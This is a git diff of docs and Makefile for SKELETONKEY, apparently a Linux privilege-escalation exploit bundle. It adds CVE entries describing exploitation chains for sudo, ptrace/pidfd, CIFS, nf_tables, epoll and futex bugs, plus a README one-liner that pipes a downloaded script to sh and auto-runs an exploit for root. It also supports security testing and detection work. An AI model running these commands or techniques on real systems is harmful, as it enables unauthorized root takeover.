| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
|
| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
|
||||||
|
| CVE-2026-46333 | ptrace `__ptrace_may_access` dumpable-race → `pidfd_getfd` credential-fd theft | LPE (steal a root-opened fd / authenticated channel from a process dropping privileges) | mainline 2026-05-14 (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7) | `ptrace_pidfd` | 🟡 | **Qualys TRU disclosure (2026-05-20), exploit not yet VM-verified.** The `__ptrace_may_access` logic flaw leaves a process *dropping* privileges briefly reachable past its `dumpable` boundary; `pidfd_getfd(2)` rides that window. detect() is version-pinned with a predates-gate at `pidfd_getfd`'s 5.6 introduction. exploit() spawns a setuid victim (chage / pkexec / ssh-keysign), `pidfd_open()`s it and sweeps `pidfd_getfd()` across its descriptor table during the credential-drop window, reporting any uid-0-owned fd captured from a non-root context — honest `EXPLOIT_FAIL` without a euid-0 witness; the target-specific full root-pop is not bundled until VM-verified. Arch-agnostic (descriptor theft, no shellcode). `--mitigate` sets `kernel.yama.ptrace_scope=2`; `--cleanup` reverts it. Credit: Qualys TRU. |
|
||||||
|
| CVE-2025-32462 | sudo `-h`/`--host` policy bypass (Stratascale) | LPE (userspace; abuse a host-restricted sudoers rule for local root) | sudo 1.9.17p1 (2025-06-30) | `sudo_host` | 🟢 | **Stratascale CRU disclosure (Rich Mirch); sibling of `sudo_chwoot`.** sudo's `-h`/`--host` option — meant only to pair with `-l` — was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via `sudo -h <host> <cmd>`. Affects sudo 1.8.8 → 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8; not in KEV. detect() version-gates; exploit() finds an abusable host-restricted rule in readable sudoers (or `SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and pops a root shell only on a uid-0 witness — never fabricates root. Structural (no offsets/race); arch-agnostic. Most relevant to fleet-wide / LDAP / SSSD sudoers. Credit: Rich Mirch / Stratascale. |
|
||||||
|
| CVE-2026-46243 | CIFSwitch — `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | 🟡 | **Asim Manizada disclosure (2026-05-28), public PoC; detect() + add_key primitive VM-verified on Ubuntu 24.04 / 6.8.0-117 (QEMU/HVF, 2026-06-08), full chain + patched-kernel discriminator pending.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive — `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately — and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. |
|
||||||
|
| CVE-2026-23111 | nf_tables `nft_map_catchall_activate` abort-path UAF (inverted `!`) | LPE (unprivileged userns + nftables → chain UAF → kernel R/W → root) | fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of `f41c5d1`); 5.10 branch still unfixed | `nft_catchall` | 🟡 | **Public reproduction + analysis by FuzzingLabs; reported via the kernel security process. Reconstructed trigger, not yet VM-verified.** A stray `!` in `nft_map_catchall_activate()` makes the transaction-abort path process *active* catch-all map elements instead of skipping them; a catch-all GOTO element drives a chain's use-count to zero so a following DELCHAIN frees it while still referenced → UAF, escalatable via modprobe_path/selinux_state ROP. CWE-416, CVSS 7.8; not in KEV. One more UAF in the corpus's most-covered subsystem; shipped on the same contract as `nf_tables` (CVE-2024-1086). detect() version-gates (catch-all elems arrived ~5.13) AND requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL` — the per-kernel leak + R/W + ROP root-pop is NOT bundled and the trigger is reconstructed from public analysis, not VM-verified. x86_64. Mitigate: upgrade, or `kernel.unprivileged_userns_clone=0`. Credit: FuzzingLabs (public repro) + upstream fix `f41c5d1`. |
|
||||||
|
| CVE-2026-43499 | GhostLock — rtmutex/futex requeue-PI `remove_waiter()` stack UAF | LPE (unprivileged, **no userns** → kernel-**stack** UAF → near-arbitrary write → root) | fixed 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175 (CNA/Debian backports of `3bfdc63936dd`, mainline 7.1-rc1); 5.15/5.10/5.4/4.19 affected with no upstream fix | `ghostlock` | 🟡 | **VEGA / Nebula Security public PoC ("IonStack part II: GhostLock"); reconstructed trigger, not VM-verified.** ~15-year stack UAF in `kernel/locking/rtmutex.c`: on the `-EDEADLK` deadlock-rollback, `remove_waiter()` runs against `current` instead of the waiter task, so a concurrent PI-chain priority walk (driven via `sched_setattr()` on a sibling CPU) clears `pi_blocked_on` on the wrong task and leaves an on-stack `rt_mutex_waiter` dangling → controlled kernel write when the rbtree is later rotated over the reused frame; weaponised (Android/Pixel) via a KernelSnitch page leak → forged waiter → `struct file` `f_op` → configfs/ashmem R/W → pipe physical R/W → cred patch. Reachable by **any unprivileged user** (CVSS 7.8, PR:L) — plain `futex(2)` + `sched_setattr(2)`, no userns, no capability, only `CONFIG_FUTEX_PI` (universal). CWE-416 (race root cause CWE-362); not in KEV. The corpus's first rtmutex/futex-PI module and its only kernel-**stack** UAF (all others are heap/slab). detect() is a **pure version gate** across a five-branch backport table. exploit() forks a child that (A) deterministically confirms the `-EDEADLK` `remove_waiter()` rollback path is reachable (safe — validated on real hardware) and (B) exercises the actual race a hard-bounded 24 iterations / 2 s with a sibling-CPU `sched_setattr(SCHED_BATCH)` storm — **deliberately under-driven**: no `copy_from_user` widening, no stack-frame spray/reoccupation, and the KernelSnitch leak + R/W + cred-patch chain is NOT bundled (Android/Pixel-specific, per-build offsets). Returns `EXPLOIT_FAIL`. **Lowest `--auto` safety rank (11)** — a won race corrupts the kernel stack. Unlike most races it has a real detection signature (futex requeue-PI returning `EDEADLK` + sibling `sched_setattr(SCHED_BATCH)`); auditd/sigma anchor on `sched_setattr`, falco/eBPF on the requeue-PI-EDEADLK tell; no yara. Arch-neutral trigger (any). Mitigate: upgrade only. Credit: VEGA / Nebula Security. |
|
||||||
|
| CVE-2026-46242 | Bad Epoll — epoll `ep_remove`/`__fput` teardown race UAF | LPE (unprivileged, **no userns** → cross-cache to `struct file` → kernel R/W → root) | introduced 6.4 (`58c9b016e128`); fixed `a6dc643c6931` (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected | `bad_epoll` | 🟡 | **Jaeyoung Chung (`J-jaeyoung`) kernelCTF public PoC; reconstructed trigger, not VM-verified.** Race UAF in `fs/eventpoll.c`: `ep_remove()` clears `file->f_ep` under `f_lock` but keeps using the file (`hlist_del_rcu` + unlock) while a concurrent `__fput()` frees the still-referenced `struct eventpoll` → 8-byte UAF write, weaponised via cross-cache to a `struct file`, `/proc/self/fdinfo` arbitrary read, ROP. Reachable by **any unprivileged user** — no userns, no CONFIG, no capability; there is **no unprivileged-userns stopgap**, only patching. CWE-416 (race root cause CWE-362); not in KEV. The corpus's first epoll / VFS-teardown module and cleanest SMP race. detect() is a **pure version gate** (no active probe — you cannot safely distinguish vulnerable from patched without winning the race). exploit() forks a CPU-pinned child that builds the epoll race pair and exercises the concurrent-close window a hard-bounded 48 attempts / 2s — **deliberately under-driven** because a won race frees a live struct file and rarely trips KASAN (silent-corruption risk) — snapshots the eventpoll slab, and returns `EXPLOIT_FAIL`; the cross-cache reclaim + fdinfo R/W + ROP are NOT bundled. Detection is intentionally weak/structural (epoll syscalls are ubiquitous) — rules key on the post-exploitation euid-0 transition; no yara. **Lowest `--auto` safety rank (12).** x86_64. Mitigate: upgrade only. Credit: Jaeyoung Chung. |
|
||||||
|
|
||||||
## Operations supported per module
|
## Operations supported per module
|
||||||
|
|
||||||
@@ -130,6 +139,8 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
|
|||||||
| dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
| dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||||
| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||||
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
|
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
|
||||||
|
| ptrace_pidfd | ✓ | ✓ (primitive) | ✓ (yama ptrace_scope=2) | ✓ (restore ptrace_scope) | ✓ (auditd + sigma + falco) |
|
||||||
|
| sudo_host | ✓ | ✓ | — (upgrade sudo to 1.9.17p1) | — | ✓ (auditd + sigma + falco) |
|
||||||
|
|
||||||
## Pipeline for additions
|
## Pipeline for additions
|
||||||
|
|
||||||
|
|||||||
@@ -180,6 +180,78 @@ endif
|
|||||||
# paths). Target-specific vars are scoped to this object's recipe.
|
# paths). Target-specific vars are scoped to this object's recipe.
|
||||||
$(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS)
|
$(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS)
|
||||||
|
|
||||||
|
# Family: sudo_chwoot (CVE-2025-32463) — sudo --chroot NSS injection
|
||||||
|
SCHW_DIR := modules/sudo_chwoot_cve_2025_32463
|
||||||
|
SCHW_SRCS := $(SCHW_DIR)/skeletonkey_modules.c
|
||||||
|
SCHW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SCHW_SRCS))
|
||||||
|
|
||||||
|
# Family: udisks_libblockdev (CVE-2025-6019) — SUID-on-mount via polkit allow_active
|
||||||
|
UDB_DIR := modules/udisks_libblockdev_cve_2025_6019
|
||||||
|
UDB_SRCS := $(UDB_DIR)/skeletonkey_modules.c
|
||||||
|
UDB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(UDB_SRCS))
|
||||||
|
|
||||||
|
# Family: pintheft (CVE-2026-43494) — RDS zerocopy double-free (V12 Security)
|
||||||
|
PTH_DIR := modules/pintheft_cve_2026_43494
|
||||||
|
PTH_SRCS := $(PTH_DIR)/skeletonkey_modules.c
|
||||||
|
PTH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTH_SRCS))
|
||||||
|
|
||||||
|
# ── v0.9.0 gap-fillers ─────────────────────────────────────────────
|
||||||
|
|
||||||
|
# CVE-2018-14634 Mutagen Astronomy — create_elf_tables() int wrap
|
||||||
|
MUT_DIR := modules/mutagen_astronomy_cve_2018_14634
|
||||||
|
MUT_SRCS := $(MUT_DIR)/skeletonkey_modules.c
|
||||||
|
MUT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(MUT_SRCS))
|
||||||
|
|
||||||
|
# CVE-2019-14287 sudo Runas -u#-1 underflow
|
||||||
|
SRN_DIR := modules/sudo_runas_neg1_cve_2019_14287
|
||||||
|
SRN_SRCS := $(SRN_DIR)/skeletonkey_modules.c
|
||||||
|
SRN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SRN_SRCS))
|
||||||
|
|
||||||
|
# CVE-2020-29661 TIOCSPGRP UAF race
|
||||||
|
TIO_DIR := modules/tioscpgrp_cve_2020_29661
|
||||||
|
TIO_SRCS := $(TIO_DIR)/skeletonkey_modules.c
|
||||||
|
TIO_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TIO_SRCS))
|
||||||
|
|
||||||
|
# CVE-2024-50264 AF_VSOCK connect-race UAF (Pwn2Own 2024)
|
||||||
|
VSK_DIR := modules/vsock_uaf_cve_2024_50264
|
||||||
|
VSK_SRCS := $(VSK_DIR)/skeletonkey_modules.c
|
||||||
|
VSK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VSK_SRCS))
|
||||||
|
|
||||||
|
# CVE-2024-26581 nft_pipapo destroy-race (Notselwyn II)
|
||||||
|
PIP_DIR := modules/nft_pipapo_cve_2024_26581
|
||||||
|
PIP_SRCS := $(PIP_DIR)/skeletonkey_modules.c
|
||||||
|
PIP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PIP_SRCS))
|
||||||
|
|
||||||
|
# CVE-2026-46333 ptrace/pidfd_getfd __ptrace_may_access dumpable-race cred-steal (Qualys)
|
||||||
|
PPF_DIR := modules/ptrace_pidfd_cve_2026_46333
|
||||||
|
PPF_SRCS := $(PPF_DIR)/skeletonkey_modules.c
|
||||||
|
PPF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PPF_SRCS))
|
||||||
|
|
||||||
|
# CVE-2025-32462 sudo -h/--host policy bypass (Stratascale; sudo family)
|
||||||
|
SUH_DIR := modules/sudo_host_cve_2025_32462
|
||||||
|
SUH_SRCS := $(SUH_DIR)/skeletonkey_modules.c
|
||||||
|
SUH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUH_SRCS))
|
||||||
|
|
||||||
|
# CVE-2026-46243 CIFSwitch — cifs.spnego userspace-forged key trust (Asim Manizada)
|
||||||
|
CIW_DIR := modules/cifswitch_cve_2026_46243
|
||||||
|
CIW_SRCS := $(CIW_DIR)/skeletonkey_modules.c
|
||||||
|
CIW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CIW_SRCS))
|
||||||
|
|
||||||
|
# CVE-2026-23111 nft_catchall — nf_tables nft_map_catchall_activate abort UAF (FuzzingLabs repro)
|
||||||
|
NCA_DIR := modules/nft_catchall_cve_2026_23111
|
||||||
|
NCA_SRCS := $(NCA_DIR)/skeletonkey_modules.c
|
||||||
|
NCA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NCA_SRCS))
|
||||||
|
|
||||||
|
# CVE-2026-46242 bad_epoll — epoll ep_remove-vs-__fput teardown race UAF ("Bad Epoll", J-jaeyoung kernelCTF)
|
||||||
|
BEP_DIR := modules/bad_epoll_cve_2026_46242
|
||||||
|
BEP_SRCS := $(BEP_DIR)/skeletonkey_modules.c
|
||||||
|
BEP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(BEP_SRCS))
|
||||||
|
|
||||||
|
# CVE-2026-43499 ghostlock — rtmutex/futex requeue-PI remove_waiter() stack UAF ("GhostLock", VEGA / Nebula Security)
|
||||||
|
GHL_DIR := modules/ghostlock_cve_2026_43499
|
||||||
|
GHL_SRCS := $(GHL_DIR)/skeletonkey_modules.c
|
||||||
|
GHL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(GHL_SRCS))
|
||||||
|
|
||||||
# Top-level dispatcher
|
# Top-level dispatcher
|
||||||
TOP_OBJ := $(BUILD)/skeletonkey.o
|
TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||||
|
|
||||||
@@ -190,7 +262,11 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
|
|||||||
$(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) \
|
$(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) \
|
||||||
$(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) \
|
$(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) \
|
||||||
$(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
|
$(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
|
||||||
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS)
|
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
|
||||||
|
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
|
||||||
|
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
|
||||||
|
$(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS) $(BEP_OBJS) \
|
||||||
|
$(GHL_OBJS)
|
||||||
|
|
||||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||||
|
|
||||||
|
|||||||
@@ -2,15 +2,17 @@
|
|||||||
|
|
||||||
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
||||||
[](LICENSE)
|
[](LICENSE)
|
||||||
[](docs/VERIFICATIONS.jsonl)
|
[](docs/VERIFICATIONS.jsonl)
|
||||||
[](#)
|
[](#)
|
||||||
|
|
||||||
> **One curated binary. 31 Linux LPE modules covering 26 CVEs from 2016 → 2026.
|
> **One curated binary. 45 Linux LPE modules covering 40 CVEs from 2016 → 2026.
|
||||||
> 22 confirmed end-to-end against real Linux VMs via `tools/verify-vm/`.
|
> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
|
||||||
> Detection rules in the box. One command picks the safest one and runs it.**
|
> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
|
||||||
|
> the safest one and runs it.**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||||
|
&& export PATH="$HOME/.local/bin:$PATH" \
|
||||||
&& skeletonkey --auto --i-know
|
&& skeletonkey --auto --i-know
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -43,10 +45,12 @@ for every CVE in the bundle — same project for red and blue teams.
|
|||||||
|
|
||||||
## Corpus at a glance
|
## Corpus at a glance
|
||||||
|
|
||||||
**31 modules covering 26 distinct CVEs** across the 2016 → 2026 LPE
|
**45 modules covering 40 distinct CVEs** across the 2016 → 2026 LPE
|
||||||
timeline. **22 of the 26 CVEs have been empirically verified** in real
|
timeline. **28 of the 40 CVEs have been empirically verified** in real
|
||||||
Linux VMs via `tools/verify-vm/`; the 4 still-pending entries are
|
Linux VMs via `tools/verify-vm/`; the 12 still-pending entries are
|
||||||
blocked by their target environment, not by missing code.
|
blocked by their target environment (legacy hypervisor, EOL kernel, or
|
||||||
|
the t64-transition libc rollout) or are brand-new additions awaiting a
|
||||||
|
VM sweep, not by missing code.
|
||||||
|
|
||||||
| Tier | Count | What it means |
|
| Tier | Count | What it means |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
@@ -64,25 +68,36 @@ af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
|||||||
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
||||||
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
|
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
|
||||||
|
|
||||||
### Empirical verification (22 of 26 CVEs)
|
### Empirical verification (28 of 40 CVEs)
|
||||||
|
|
||||||
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
|
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
|
||||||
each verdict against a known-target VM. Coverage:
|
each verdict against a known-target VM. Coverage:
|
||||||
|
|
||||||
| Distro / kernel | Modules verified |
|
| Distro / kernel | Modules verified |
|
||||||
|---|---|
|
|---|---|
|
||||||
| Ubuntu 18.04 (4.15.0) | af_packet · ptrace_traceme · sudo_samedit |
|
| Ubuntu 18.04 (4.15.0, sudo 1.8.21p2) | af_packet · ptrace_traceme · sudo_samedit · sudo_runas_neg1 |
|
||||||
| Ubuntu 20.04 (5.4 stock + 5.15 HWE) | af_packet2 · cls_route4 · nft_payload · overlayfs · pwnkit · sequoia |
|
| Ubuntu 20.04 (5.4.0-26 pinned + 5.15 HWE) | af_packet2 · cls_route4 · nft_payload · overlayfs · pwnkit · sequoia · tioscpgrp |
|
||||||
| Ubuntu 22.04 (5.15 stock + mainline 5.15.5 / 6.1.10) | af_unix_gc · dirty_pipe · entrybleed · nf_tables · nft_set_uaf · overlayfs_setuid · stackrot · sudoedit_editor |
|
| Ubuntu 22.04 (5.15 stock + mainline 5.15.5 / 6.1.10 / 6.19.7) | af_unix_gc · dirty_pipe · dirtydecrypt · entrybleed · nf_tables · nft_set_uaf · nft_pipapo · overlayfs_setuid · stackrot · sudoedit_editor · sudo_chwoot |
|
||||||
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
|
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
|
||||||
| Debian 12 (6.1 stock) | pack2theroot |
|
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
|
||||||
|
|
||||||
**Not yet verified (4):** `vmwgfx` (VMware-guest-only — no public
|
**Not yet verified (12):** `vmwgfx` (VMware-guest-only — no public Vagrant
|
||||||
Vagrant box), `dirty_cow` (needs ≤ 4.4 kernel — older than every
|
box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box),
|
||||||
supported box), `dirtydecrypt` & `fragnesia` (need Linux 7.0 — not
|
`mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
|
||||||
shipping as any distro kernel yet). All four are flagged in
|
rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
|
||||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with
|
modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5
|
||||||
rationale.
|
kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
|
||||||
|
13+; no Parallels-supported box has those yet), `ptrace_pidfd` (brand-new
|
||||||
|
2026-05 Qualys disclosure — added this cycle, VM sweep pending), `sudo_host`
|
||||||
|
(brand-new 2025-06 Stratascale disclosure — added this cycle, VM sweep
|
||||||
|
pending), `cifswitch` (detect + `add_key` primitive VM-verified; full chain
|
||||||
|
+ patched-kernel discriminator pending), `nft_catchall` (reconstructed
|
||||||
|
kernel-UAF trigger, not VM-verified), `bad_epoll` (reconstructed epoll
|
||||||
|
race trigger — deliberately under-driven, not VM-verified), `ghostlock`
|
||||||
|
(reconstructed rtmutex/futex-PI stack-UAF trigger — deliberately
|
||||||
|
under-driven, not VM-verified). All twelve are
|
||||||
|
flagged in
|
||||||
|
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with rationale.
|
||||||
|
|
||||||
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
|
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
|
||||||
detection status. Run `skeletonkey --module-info <name>` for the
|
detection status. Run `skeletonkey --module-info <name>` for the
|
||||||
@@ -128,7 +143,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
|||||||
$ skeletonkey --auto --i-know
|
$ skeletonkey --auto --i-know
|
||||||
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
|
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
|
||||||
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
|
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
|
||||||
[*] auto: scanning 31 modules for vulnerabilities...
|
[*] auto: scanning 45 modules for vulnerabilities...
|
||||||
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
|
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
|
||||||
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
|
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
|
||||||
[+] auto: pwnkit VULNERABLE (safety rank 100)
|
[+] auto: pwnkit VULNERABLE (safety rank 100)
|
||||||
@@ -197,12 +212,38 @@ also compile (modules with Linux-only headers stub out gracefully).
|
|||||||
|
|
||||||
## Status
|
## Status
|
||||||
|
|
||||||
**v0.6.0 cut 2026-05-23.** 31 modules across 26 CVEs, **22 empirically
|
**v0.9.13 cut 2026-07-13.** 45 modules across 40 CVEs — **every
|
||||||
verified** against real Linux VMs (Ubuntu 18.04 / 20.04 / 22.04 +
|
year 2016 → 2026 now covered**. Newest: `ghostlock` (CVE-2026-43499,
|
||||||
Debian 11 / 12 + mainline kernels 5.15.5 / 6.1.10 from
|
VEGA / Nebula Security's "GhostLock" — a ~15-year rtmutex/futex requeue-PI
|
||||||
kernel.ubuntu.com). 88-test unit harness on every push.
|
use-after-free on **kernel stack** memory where `remove_waiter()` clears
|
||||||
|
`pi_blocked_on` on the wrong task during the `-EDEADLK` deadlock-rollback,
|
||||||
|
raced by a sibling-CPU `sched_setattr()` priority walk; reachable by **any
|
||||||
|
unprivileged user with no user namespace**; VEGA / Nebula kernelCTF public
|
||||||
|
PoC ($92k, ~97% stable) — shipped as a deliberately under-driven,
|
||||||
|
reconstructed trigger anchored on a safe `-EDEADLK` reachability witness
|
||||||
|
with the corpus's lowest `--auto` safety rank), `bad_epoll` (CVE-2026-46242,
|
||||||
|
Jaeyoung Chung's "Bad Epoll" — a race UAF in `fs/eventpoll.c` reachable by
|
||||||
|
any unprivileged user with no user namespace; kernelCTF public PoC),
|
||||||
|
`nft_catchall` (CVE-2026-23111, the nf_tables `nft_map_catchall_activate`
|
||||||
|
abort-path UAF — an inverted condition frees a chain still referenced by a
|
||||||
|
catch-all GOTO map element; public reproduction by FuzzingLabs), and
|
||||||
|
`cifswitch` (CVE-2026-46243, Asim Manizada's "CIFSwitch" — the
|
||||||
|
`cifs.spnego` key type trusts userspace-forged authority fields, coercing
|
||||||
|
the root `cifs.upcall` helper into loading an attacker NSS module as root).
|
||||||
|
v0.9.0 added 5 gap-fillers
|
||||||
|
(`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
|
||||||
|
`nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
|
||||||
|
`pintheft`). v0.9.1 and v0.9.2 are verification-only sweeps that took
|
||||||
|
the verified count from 22 → 28 by booting real vulnerable kernels
|
||||||
|
(Ubuntu mainline 5.4.0-26, 5.15.5, 6.19.7 + provisioner-built sudo
|
||||||
|
1.9.16p1 + Debian 12 + polkit allow rule for udisks).
|
||||||
|
**28 empirically verified** against real Linux VMs (Ubuntu 18.04 /
|
||||||
|
20.04 / 22.04 + Debian 11 / 12 + mainline kernels from
|
||||||
|
kernel.ubuntu.com). 88-test unit harness + ASan/UBSan + clang-tidy on
|
||||||
|
every push. 4 prebuilt binaries (x86_64 + arm64, each in dynamic +
|
||||||
|
